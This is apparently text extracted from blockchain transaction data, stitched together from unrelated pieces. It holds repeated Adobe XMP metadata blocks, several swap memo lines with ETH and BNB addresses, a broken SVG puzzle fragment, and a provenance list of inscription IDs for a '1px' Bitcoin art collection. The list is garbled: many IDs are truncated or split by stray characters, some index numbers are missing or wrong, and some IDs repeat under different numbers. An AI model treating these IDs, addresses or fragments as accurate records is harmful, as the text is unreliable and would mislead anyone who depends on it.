" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
Aj?=:ETH.ETH:0x933c23C8Bf1420b802B53fF7A703cbF1eA8E8169:5938993::0
Bj@=:ETH.ETH:0x9747e7d86B24A22aE14B65E09220aE3AF964Da81:12285244::0
GjE=:BNB.AVA-645:bnb1n9hz4egg6k8lu8vprpxnkk0u5vfd8r8xn34eg5:449995482::0
Bj@=:BNB.BNB:bnb177lvstcmpappu3dtr6p5q3u6zry5drfaq7pvnm:12849762::0
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"><rdf:Description rdf:about="uuid:faf5bdd5-ba3d-11da-ad31-d33d75182f1b" xmlns:dc="http://purl.org/dc/elements/1.1/"><dc:creator><rdf:Seq xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"><rdf:li>Reuters</rdf:li></rdf:Seq>
			</dc:creator></rdf:Description></rdf:RDF></x:xmpmeta>
                                    M





                                                   M





              <?xpacket end='w'?>
<?xml version="1.0" encoding="UTF-8"?>
<svg version="1.0" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 8 8">
<!--puzzlords.com s1p0056/4096 2,2,3,3,0 ~0.1511252406053245-->
<style type="text/css">
polyline{stroke:#000;stroke-width:0.15}
<rect fill="#767C89" width="100%" height="100%"/>
<polyline fill="#F652A0" points="0,8 2,5 3,5 0,0 "/>
<polyline fill="#F652A0" points="8,0 5,7 5,6 8,8 "/>
<polyline fill="#F2F652" points="8,8 6,4 6,4 0,8 "/>
<polyline fill="#F2F652" points="0,0 4,2 4,3 8,0 "/>
FjDOUT:4FE1292FDD9E832C9ACE7DDF0A98D806CDC76B31B7D32574F22D0810DDF09B4D
FjDOUT:397F9F3930355A906AC26228074199CA58B9B86077FBD558C4EAA27EA92ED3DB
YiTXtXML:com.adobe.xmp
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:tiff="http://ns.adobe.com/tiff/1.0/">
         <tiff:Orientation>1</tiff:Orientation>
      </rdf:Description>
YiTXtXML:com.adobe.xmp
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:tiff="http://ns.adobe.com/tiff/1.0/">
         <tiff:Orientation>1</tiff:Orientation>
      </rdf:Description>
text/plain;charset=utf-8
1px is a collection of 256 richly hued digital pieces, each minted in the smallest unit of 1px by 1px and securely stored on the immutable Bitcoin Blockchain, inspired by the Secure Hash Algorithm 256-bit.
This message is for provenance.
Comprehensive list of 1px & all its inscription IDs:
0 - 23ab3a8ff97902c107c8356fdaee055bef10a54d34478186733fe5143cc67294i0
1 - 4dcd67b687eb1274aa533c1491460917fb8bde9f4c52cdc3dc851c4bd5d1d5aai0
2 - 8c0fb6911fd85772a74c396e55a223381071f2f1680b7d90f64e8751dd138M
3 - b2d600b60eee4aca7ecabc98a3da0325562d12af70e0739821d605c7435a83f2i0
4 - bf7dabc33e34c17f383943e40fbf6feaf2f5ce757b412751b3d4182f7757f1abi0
5 - dfae0aa7a515a07effd65a52e484a52f9a6877e03cb3a7a39107d5bbf167063bi0
6 - 666e6ffa3291004a24a1f8396ec9057064abf45c1399b3e1bfc7d5a159a245f0i0
7 - fcc894624352751aeae7e5c36de57ad3e7eca047b12ed03c3a066e75894bbc27i0
8 - 7f86c89db6eedc57279dc7661465a46f3a708e61d7eec65ef825c980cd14f8cfi0
9 - 65a6072530d6359173577323b968c0e76b00cc941ea0d1735bafd6b55997bf05i0
f2a1c0ffbed5aa69d485040a1880b90aa5dd05e237ea7d893476i0
11 - a14730ae570519324642d8bc55f92b8ff7e1229ae835130767954cd02d0db994i0
12 - acee6376e5384dc712207bff681974dbb2b11c93ec5427da097f6afe6c2d3f09i0
13 - 850301c91681da689f33e3ca66054cdcb3a70442a2bf2781344a02c6481dcd12i0
14 - 9b28f37604ab0b4bb607246ef4268fd63b8dbcadd55ea298e107e32a1f6264f4i0
15 - 3c7632002a931ba73a646101e68feee2edff748a3d87ee21c57553b052814757i0
16 - 61ed6f82e3cd8eea628218b8f0eccc285e025a52b9d866c69888c7dda6d9db25i0
17 - d9699a4c57936c5f42c7b7e356dfM
d71fdac2e8b424f74821ce3041ee21f49d02i0
18 - 9a4f4bbbbde4abb02fcd1a57f5bfc807175f9158360af60482766435141c4dcci0
19 - 2ae625690060e202c4812f674ab496d3830732ac1cad20f543d53f787cd6a24bi0
20 - 42b0bae150adb19a937208506435568c5d0238ad3f9bf2139215baf91810855ei0
21 - b719342f64786b6fc7c5a72e15d407c3870d5d89289ce09ec2ad0b06149f8db2i0
22 - 0ba6aa411b928626f8457efedb9ee6d30a74cfafb5f0b7c4b4ee3650719cc2e0i0
23 - 2b6e46b3e11a434d3329284336a1b0bac71e91ea39ab2b3dc2e789d2becbd89fi0
24 - 900e0415c58d5499e43432757ef35c16c69d1f65aa62M
8256ac8eaeaf53b89a20i0
25 - 8504d14d24cf2fa82024389f75824ebe97e6507785e454000c636babbd9c4edfi0
26 - 2baecd6f9788e448b791bbd6528812459eb8f2fed694625d8f3ac79835573646i0
27 - 95ab54f3d5702b48f2aaf7eb57df83a6318a48fc7b96f4a5c294fdf471511e98i0
28 - 7fefc9e068729ea8fcc66495e5ed0c6f06cccc422f39823fe0994139e233f768i0
29 - a5b3224634a74c5b091fb20014fa25023d824b93681a89da6396041e2ee052b9i0
30 - 857a17414b3aee37b465c235bafa4908632b866f007884fa69335f61f5ec5754i0
31 - ae82d1f40c5b30d487fb8aabef06cdde5a585d78493746392873d4855e8bM
32 - 64562201119a9111aae4ba9e420fc4a1dc1a1b16a367ca50764187556c916606i0
33 - 48c9720a2c47d6ed7a21fb3d6d4c9866166818f8f11cd9cb91d970e70c4f1303i0
34 - 8d1195a5633a19fb518a42c2bb153b12488cf7d342836946b0ae182e1a066791i0
35 - 56f58f06caadaba90a092a845790500189d3710b46149f6e5a832a0dc01eef22i0
36 - 24874f03d537ae62ff3c7b6e8fa84b8af00fdbbb463ca3e2924f6dfaf11005edi0
37 - 25a38c6244ba677dc89467248a121b04944c9e5731da568e938f85e14dc1e26ai0
38 - dd1e074f1556f3325ae8e8a373ffb54db42ed030b9eaa5f5e2ada6ab91bb366ci0
dd460e0f5e34d247388ae64e868c4b461c4df3bccca9aa65fd7ebcac2fcei0
40 - a53ad5112400efccbf792e50be6b6bd5f106ae38cad61801d997bd3f73ff56d6i0
41 - d8c2a2aa1c0a39dddb81e4fcafd98ae9b4e89567d6ca98d454c1782d88962b0di0
42 - e4259b72ce921065defbff546ad48c39ef13ad8370c2e3b1011e07bb2a0a9f73i0
43 - d01c4f923c68622393962d2ce90d38732c86053bcd7c7584956f5d884155324fi0
44 - 77d1773e39fb7558ddc108190e95f7f84317c2aa48d9d154f167e5bf99fe2fcei0
45 - e560287bc835c17f811d3e6e95fad8e51aa00d3c89ee5c62cad42646aa3d161ai0
46 - f896931839dc73f64c42M
614bc8193a521955872570a3eb25f19e4f6a4a7bb7c7i0
47 - 4d177d8830990e4e9f000726c3ba3a5becb16bc7225c8f47a5702b655fc75d6bi0
48 - 287eabb06b49e166af82951480c334a0c5325776d50f4d5c136cc5687fd6d831i0
49 - f83c23bf45a618c5bfdd5e5c2d1900ff217f97cb07fed6b9d32f44cd96f19129i0
50 - 6c163b0270964d493eccbd358d7541e4cfc20f2c824e084d70361b4fc78d0a82i0
51 - 3419906ea62b4edde25d6c38d51f0bb67c47c82b31648ee3c97c6a9cb9dedc03i0
52 - 4d70ea67fb5b647e6cfa36d5da9361fbe62b9453b828bbed01b3da14d3ab8130i0
53 - e969bbd7d5f59147796bccd68fc259eaf505M
1ac05dad3b6df4e138ea742d956fi0
54 - c0930c34726c41143c859963af007c765f18619af890bc63d174c293d073c992i0
55 - 4c0f4c34135fd7eab2bf3bb2438ae6f45fd6aa54b7e3e7a36a77bf0eb44360b0i0
56 - ca08e75c3bf8034d298860bd63fa74ca698bb8a2a89ecb741a5e0f4b58e5525di0
57 - a938dcf9223fb7db931093728e64c55c1e635be219592cf0fe55faf59efd69f7i0
58 - a938dcf9223fb7db931093728e64c55c1e635be219592cf0fe55faf59efd69f7i0
59 - bb9bb99278fff0d0862c7bd74a1e34ebcab347953c66dbc03cd5d6785155118ai0
60 - 3264869fe78739cbac06bc3ff341b8c65133a3932df6c62347f0M
61 - 0814869eaec553d9b0b199f2b164b611b9304c3b0fd0d17f7cdcff51c53a34bci0
62 - 08f5a3a0d6e41256203610d797fa9fdd6cb954a580fd6ec2b06bf483b2af0763i0
63 - 03c4cdcf4f43409330c8b6bf3936a225a89bdb454e27f4933aaaab59b3b3bc2di0
64 - 8294dc1374f4f1e6a19ba4dafd414bbb47325dc8fdb2accf1157025f576043dbi0
65 - b2c504ec3c4ffe7321440357fa04b0273b7e5bfd458d509e6663a4021b2481bbi0
66 - 8ed834c493f15d95a2f02d2c2883262eda24fddc4386c3f37cee9e05b73395cfi0
67 - efb8a5ee2795037b4cd70cb35b453e835bec3611742d4a077d75aa5005b8f7f9i0
8 - 103bc177b020c95e2107a5ecf64567647c29fdb17f51c511a4f562da29efe6c1i0
69 - 7590a9f9a0ed008c7085dde8cb4adf839fb4c1c638744bc8c9669dd072ff91f7i0
70 - 67eba2cde3341ec54368dda0305d0a9efcbbcdcf2297847c839782a3be4412b9i0
71 - f067a0650744c4c88824e4941a7f672b709e45f567e8bcc99e0ed8e741fad3a5i0
72 - d943b1f2a25da62592a14227017440e3f6dcc4116646cc901053f670c5ca9dfci0
73 - d943b1f2a25da62592a14227017440e3f6dcc4116646cc901053f670c5ca9dfci0
74 - a427b348d2589ff3b9d034261b86fc643fcd912fb27a2ff53dca4f925569f48ci0
d04365324113e5351c31c3ca4a0c424a594cff98a2ef6b7d8268i0
76 - 5d1a2f7dc7b7c4d9c66f0424c7fc245a9ff3cfa735f9b4b8f8b0bfad40d2b085i0
77 - 04b532184590e3407ec589f1e881cfa95cabddd8c58ffb14cb1be71b8d188ecdi0
78 - bd8b894b44f402a1af2bff6c2186186048009dfaf1aaef700475a8a128919c94i0
79 - e6c76f8343b5958a8623efc9f9f7daabffc10a39dfbed98194c969caa3e2bfd7i0
80 - 09c6ffc015ba7f779e601ca6af497dba075dd371bdb2334041b04afabdc1760ei0
81 - 4bd7888b2ceb886ab259adcbc921b7d79d68b9747494d99f08134a47cd3b7d01i0
82 - 33277126d3e11714ec51cb5d1c19M
93eb7cc29c4dbbb924cb806481e51a7c5bf6i0
83 - 81e789dd1f5d965af018f63239d91dd107ddf3bfa9df055ddf59e0f929a203c0i0
84 - 929ab4300fd9a85c73e249bb380578c2f568d9b06a965515d82b90a8c2e22867i0
85 - 1c4839511b8e2e4e7efdc8fc398707436310bdc916ea0dec438c150d828ceb12i0
86 - 3c38b724bcfb86b20222cbebdf0b09887ddd510981fbd9450f6f6d62143e8c8ci0
87 - d2b298df1e11ae59ba094235e7c72643366f6df472b95e9a575a58a4376068f8i0
88 - f2b0d44c0573a2136ef4c7d29b5e4ac64fc6eaddef5ebe59ba5e6e8bbe3d73c7i0
89 - b2e95e051010c083ca1034f9adaf8cec2d25adf49e2bM
96b451b76796310145eci0
90 - b56a9a37de7ca7fbbf433dfff208f4baa1d7ad5a9a2d674a9efd702000355fbbi0
91 - 2e53b998b72116a3160eb848fe4113a572203e4c1e753d9d0cc8f8e8a56d766ci0
92 - f1f132be2485a3c02d552116a0a88ef57ae97a7934526b7f30695c87b0bc280fi0
93 - 35c464a441bbfd9ffd754d2e6a221a67a581b40ae6ca2a5fe8c1a5231c5d6ea1i0
94 - 9c892f9e4db5c565b57cb6f8fa26073398e147d62338ac5fbd5ac108f7a4e4c0i0
95 - 10502a96d32426b9324f3b49de042d434d0f5fb4c31d08af018d4498a1a90195i0
96 - 2a7044a72bd0eb2e7a00aded1999614db8aff0ab0c2d7b4ded5def42a43eM
97 - 482b365266033437cfa41cc41adb5fa352c3d0237a3d85791993ca3ca8ea7460i0
98 - 6acb2829cd04000132e8b462cd7f40c25ac8d466c9334751c1f6147ef346e3e0i0
99 - 1a10386c31f1aa5ccc4532f7fadc7c9e232e53afd95034ffe288310818bb1944i0
100 - 5f0bb98d353914e042989aab685af903cea51cc6db23695de3abe8ecc628f4a8i0
101 - 5f0bb98d353914e042989aab685af903cea51cc6db23695de3abe8ecc628f4a8i0
102 - 5926237d783609c036ae4c9dd75453c7e5e2a291fb8ab50f93d3dff71654fae3i0
103 - fad4b5a83ebdb62332c134a637b0f4c27341881a9a9fc2f5db95d89e7cd0d1a1i0
 16c8bf093a097bced82b98956c387b141de6c89728f3ec52471518d2a1a74ce6i0
105 - 24e1915e485a57b5cf050310b6b111b74f4856e1c7ee1ec83bbf4133bc21e9bci0
106 - 98ec23ce7e703d15138d2b1d3814847983033008d5bbdb27c7a1256201dcd3dai0
107 - dc652cb2958c44499155244ac0ef96dbdc5ea580eef1968984ec17d25d8e577ai0
108 - 655cc79210c22296c4b87b21a16ff658d4e1d181e3275ee94060c9b5c1e58512i0
109 - c11f9c52ae19c7ce2dea4990d59f065fd43103f2caba366ba2d68b424d4c2051i0
110 - 2f311c44309352c6c531802a91fb78be578929d43367f32d6e76c7b297f3cf07i0
75afdef0ea6f4f4cdec9257de2e410a681764d0fac9aed57462764e1i0
112 - 703a3faec1078d51a490a468ca63c6e4ea30178a5c59164c00d320c271d73d4ai0
113 - 8417e057398dab22b5aaf72c389fc0b96bfa2ad9a46c2e32d6abc5353f0a9af7i0
114 - d7b84f452cbcccbf599d39e9cdd34d18fae62043b3ef9483674dbbbdbf12a440i0
115 - 34cd9a0b7947d99776f1a853d97828c8da23ad15844bdd7a8548338d9d667d96i0
116 - 5b5279169d54e42fada188a1b03f2fc3a9c927096af2c4d8fa6ae2fc84c089c0i0
117 - bf7dc75094f3280da85b9441d2555d4304831eca361180c719eb429558a6b4dci0
118 - 0ed80c72b01666ca0M
ea15c1372942427b694cb5d7a105d62ae3094255c77076fi0
119 - 7c56cae80f607b2e4f32206d002fa3ae3051aa3134110628658e36598e32b4e3i0
120 - 524b14045ae64d5110e631d4be3451eb132771abf2737771133ac1185487232ei0
121 - 652eec947208d748abdaef5b09beca2648392b74f24716959ff78c8b42390fbei0
122 - bad0edb0a6647eca65d164a00b452a9bc2e589b36eed1fca43fd5ae57288bd00i0
123 - 02900eb22ca6e4c4a8a2470217dd4696b131a43ff1d7abe6561fea068e36ac9di0
124 - 0f65d3cfd1292e0d0925810a52783babb8cc8765f05aa1eebec0a7086312f516i0
125 - 4b5905df5a0b0a76a70943417eM
ee2111570264fcc1b816b6fbd2d89e06b2c596i0
126 - f2ffea9f7fc46bc7b919fa4c627f1e01ea536859a683cc71234e06bab08e3422i0
127 - 87ae84f05287b5c4de8e580b337e95d76e86711bd34841cdc2755c85b399ec2fi0
128 - ff050926c5dddc1d15951cbd60e33e3a7238e1ce4f30a15a75251a18fa8b2dd3i0
129 - dea03eaf8391d6a33cff8c2c08dc5005a852745889589e62c6c801255a15bd36i0
130 - 9b17cd1d48b72ca0d5cfcd4824e0848d3884a66b6344d09daaec024ba7772e45i0
131 - 6cb26c7b01ce9f30d9cbe9252f3860a2003e7ac38dd362ecdf73b52e46959fd1i0
132 - 0e3fb0e92c76f2efa21394660f79c111636M
f52c864adaea6d795ed73635b6bd4i0
133 - 683db46267825ab685fb5d321a1f4afd3caf15cb81623d143d16102c35bfb7e6i0
134 - 5956b3cf488c07467d3ebb160ed947f5197ad782206e1194df58f2131d0557bbi0
135 - f2cadc1be982f49f8ae8666b492595a1054d708a6ad471fda69e5edbc3c701c1i0
136 - bf09ec86826ef69bfd78a590a3676d1d4492115e6117952c347ce67f617d9de2i0
137 - cf993199a43a7cb3cb24d8d80e3f0a2c570352a9b8f392ef9191097dc05cfe42i0
138 - a9e22cab3b03ab2b4a8f6c35c406d3c2cff8b37c6902d3fa2e62a9a5fa486c98i0
139 - ed433a1672bcfe39046445ce85e68c8c9b0018c9ccdaM
eb57388ef0fe40b2ba55i0
140 - 2553423f50d20e825b3f4253f6c890b47c13df4f9050fa0e4e461a517c941ac5i0
141 - 7a3cc74fee53f99dbdb6f7caaef56b6e6c1c69955453bdcf2e6ea848e654779fi0
142 - 3db285c0875e75019500cd5fbba73d9255f32f29b28e8d591209170a932dd7bdi0
143 - 5b39ceb00981225ffcd317b6059258489d1b6cdbaa3f832e2744d1e44e787a87i0
144 - 00b08b95eaabd5b6e6d52f30879ececc36b88742344725476bcb30b5734c6affi0
145 - 5a86c2d24dca0a3b36b5ec9632d76d92db9df9428cd0ee60f95c7d3531a02d25i0
146 - 3f6dba4eeb7cb456a406097cdb9da7583083b2da54e74ac0aaa1bM
147 - 5bd03a20cbfc79d4f975a07d5dda4f4c1db6c5398360b42d06f7809ee03aa503i0
148 - 0648cc7be056d9e80cafac85a39ef882c49f58cb73bfc19f2474f3d8bf266fcfi0
149 - 78356b6d849688608514d639703d276a3e999fdc13364b3c78d5088116e11f4fi0
150 - 03efc307eeebe386e06779ea70cf9812fd93a5c82d14d304850dfef9d94a41c9i0
151 - bce05ba5bee3624ce6341e28086e295d9110dd0c13a8ec88e054913c1f512608i0
152 - 987da34ee320e9e89c9810737537c39b2d7b35d020ef18282d0e68177b9cf037i0
153 - 991dd83399ed8d5907b41f91ccafb810a1dfb86d3fb99e45a18f4ac55a1ab1M
154 - 936feabc54c8bc61e90debdbbe742acb2893c971585621f7cf98de1ede6f8265i0
155 - b8d765de6ecd4c9f98421af72466a552d7124192f74044860c969e1765382c63i0
156 - 8f4e903335f076a2222f50a56407f7a384d329951b852f7e8ba85ef6ac164cc7i0
157 - a900d2c6859df877b6b3990e9350764c303ab65a2f81549dcbb7396f8a8723cci0
158 - 20cd016da0481b60a1471299b18f03c6aab2dac523a6f16e8f8967285949077bi0
159 - b23284e4584c80819c9b9ce8529693e38d0d81ceb7156fce3b09593bd10c8956i0
160 - dfe74328846fa4d525845e5adc218b56b2fd6e1aed133a7e855b75e9b33f9e8ai0
- 71722891017cb216fdac70327fe5efd1030789da8ddca6690a9a90678d57f37ei0
162 - 7307d1d117fb0bc989bbe22023f5d1c5501fff93c92247ceb991958693444dcdi0
163 - 8fd77b2e61b693c70c03ae5390aa524eb572a7b55519a823b8814884139865d8i0
164 - b70d319ff7f23c11a140ff946f6e86ce8f529256326e140a833b63702e354878i0
165 - 5f15e550417db365afaa514bb639be8cacb6be2d2b6be4f43577c542edbb1d53i0
166 - 0d92d3797bfcd165a3935b15201508f28609663de304ca6ba68f093ef3cf3867i0
167 - 966d19fb3af59477bc9439cc458ee6130118c56d933f277152504f3a765e1d26i0
88bee4e457812406b08e821b1c6f0ab5e39f99ed86149e0c9563ade0ai0
169 - ec8edad3e7975f7772ef92e014fe28aef48b0d8a3d6a54e495292b3c80f24978i0
170 - c59ca506c5d7a4e28a920261daec2d797f00d3513b1056edd03c7fd0f850475fi0
171 - 343622ec99d817c92a7e9c7da2d648e33ef90977a2fcd59df3e248165c270bdei0
172 - f6f2459507b22f2ca4f81c6ae5707ceaefbe16458779bff5e5451c9e3342bfdci0
173 - 7f5293db73e6dd0fe5f5f9642500b2f28d899627318bce5ca73c3b2b38814880i0
174 - ee72179c8ef782cb17b08ad9b8f0f7a8661d620d2c9d689499325d9c05b323cfi0
175 - 58cc49d3bb9daf02M
670c76270282dcdf7ccc0643b87b211d7b79db1ad4731d3ci0
176 - 6c35caa00e9994941f60c5647ca99adb1acec05b129aa3968e6f7fdfe049051ei0
177 - 6a6b49ed2b76ad0985dd8de46da4e0018e7bbf90518c12b74a16aa5faca9dadbi0
178 - fb3ecb8ad85b7eed6c8311286f21c62eb431c3cae315976bb52daf35ab09e0dai0
179 - 7dcce6c66497db93ace6e37f453d575f9b34a91ca2a28a5c67d17ff4c222773ci0
